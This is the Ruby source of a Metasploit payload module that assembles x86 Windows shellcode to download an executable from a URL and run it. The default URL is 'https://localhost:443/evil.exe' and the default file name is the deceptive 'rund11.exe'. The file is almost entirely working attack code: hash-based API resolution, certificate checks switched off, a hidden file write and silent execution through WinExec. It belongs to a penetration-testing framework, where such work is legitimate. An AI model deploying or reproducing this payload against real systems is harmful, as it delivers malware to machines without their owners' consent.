metasploit-framework/modules/payloads/singles/windows/download_exec.rb

392 lines
14 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 423
include Msf::Payload::Windows
include Msf::Payload::Single
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows Executable Download (http,https,ftp) and Execute',
'Description' => 'Download an EXE from an HTTP(S)/FTP URL and execute it',
'Author' =>
[
'corelanc0d3r <peter.ve[at]corelan.be>'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86
))
# Register command execution options
register_options(
[
OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]),
OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ])
])
end
#
# Construct the payload
#
def generate(_opts = {})
target_uri = datastore['URL'] || ""
filename = datastore['EXE'] || ""
proto = "https"
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
#;0x80000000 | ; INTERNET_FLAG_RELOAD
#;0x04000000 | ; INTERNET_NO_CACHE_WRITE
#;0x00800000 | ; INTERNET_FLAG_SECURE
#;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
#;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
#;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
#;0x00000200 ; INTERNET_FLAG_NO_UI"
exitfuncs = {
"PROCESS" => 0x56A2B5F0, #kernel32.dll!ExitProcess
"THREAD" => 0x0A2A1DE0, #kernel32.dll!ExitThread
"SEH" => 0x00000000, #we don't care
"NONE" => 0x00000000 #we don't care
}
protoflags = {
"http" => 0x3,
"https" => 0x3,
"ftp" => 0x1
}
exitfunc = datastore['EXITFUNC'].upcase
if exitfuncs[exitfunc]
exitasm = case exitfunc
when "SEH" then "xor eax,eax\ncall eax"
when "NONE" then "jmp end" # don't want to load user32.dll for GetLastError
else "push 0x0\npush 0x%x\ncall ebp" % exitfuncs[exitfunc]
end
end
# parse URL and break it down in
# - remote host
# - port
# - /path/to/file
server_uri = ''
server_host = ''
port_nr = 443 # default
if target_uri.length > 0
# get desired protocol
if target_uri =~ /^http:/
proto = "http"
port_nr = 80
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
#;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
end
if target_uri =~ /^ftp:/
proto = "ftp"
port_nr = 21
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
end
# sanitize the input
target_uri = target_uri.gsub('http://','') #don't care about protocol
target_uri = target_uri.gsub('https://','') #don't care about protocol
target_uri = target_uri.gsub('ftp://','') #don't care about protocol
server_info = target_uri.split("/")
# did user specify a port ?
server_parts = server_info[0].split(":")
if server_parts.length > 1
port_nr = Integer(server_parts[1])
end
# actual target host
server_host = server_parts[0]
# get /path/to/remote/exe
for i in (1..server_info.length-1)
server_uri << "/"
server_uri << server_info[i]
end
end
# get protocol specific stuff
#create actual payload
payload_data = <<EOS
cld
call start
; Stephen Fewer's block_api
; block_api code (Stephen Fewer)
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, fs:[edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod:
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the original return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp.i8 next_mod ; Process this module
; actual routine
start:
pop ebp ; get ptr to block_api routine
; based on HDM's block_reverse_https.asm
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
mov esi, esp ; Save a pointer to wininet
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push esi ; LPCTSTR lpszAgent ("wininet\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp.i8 dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push #{protoflags[proto]} ; DWORD dwService (INTERNET_SERVICE_HTTP or INTERNET_SERVICE_FTP)
push ecx ; password
push ecx ; username
push #{port_nr} ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp.i8 get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
#{dwflags_asm} ; dwFlags
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push 0x10
pop ebx
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
mov eax, esp
push 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz create_file
try_it_again:
dec ebx
jz thats_all_folks ; failure -> exit
jmp.i8 set_security_options
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "#{server_uri}", 0x00
create_file:
jmp.i8 get_filename
get_filename_return:
xor eax,eax ; zero eax
pop edi ; ptr to filename
push eax ; hTemplateFile
push 2 ; dwFlagsAndAttributes (Hidden)
push 2 ; dwCreationDisposition (CREATE_ALWAYS)
push eax ; lpSecurityAttributes
push 2 ; dwShareMode
push 2 ; dwDesiredAccess
push edi ; lpFileName
push 0x4FDAF6DA ; kernel32.dll!CreateFileA
call ebp
download_prep:
xchg eax, ebx ; place the file handle in ebx
xor eax,eax ; zero eax
mov ax,0x304 ; we'll download 0x300 bytes at a time
sub esp,eax ; reserve space on stack
download_more:
push esp ; &bytesRead
lea ecx,[esp+0x8] ; target buffer
xor eax,eax
mov ah,0x03 ; eax => 300
push eax ; read length
push ecx ; target buffer on stack
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz thats_all_folks ; failure -> exit
pop eax ; how many bytes did we retrieve ?
test eax,eax ; optional?
je close_and_run ; continue until it returns 0
write_to_file:
push 0 ; lpOverLapped
push esp ; lpNumberOfBytesWritten
push eax ; nNumberOfBytesToWrite
lea eax,[esp+0xc] ; get pointer to buffer
push eax ; lpBuffer
push ebx ; hFile
push 0x5BAE572D ; kernel32.dll!WriteFile
call ebp
sub esp,4 ; set stack back to where it was
jmp.i8 download_more
close_and_run:
push ebx
push 0x528796C6 ; kernel32.dll!CloseHandle
call ebp
execute_file:
push 0 ; don't show
push edi ; lpCmdLine
push 0x876F8B31 ; kernel32.dll!WinExec
call ebp
thats_all_folks:
#{exitasm}
get_filename:
call get_filename_return
db "#{filename}",0x00
get_server_host:
call internetconnect
server_host:
db "#{server_host}", 0x00
end:
EOS
self.assembly = payload_data
super
end
end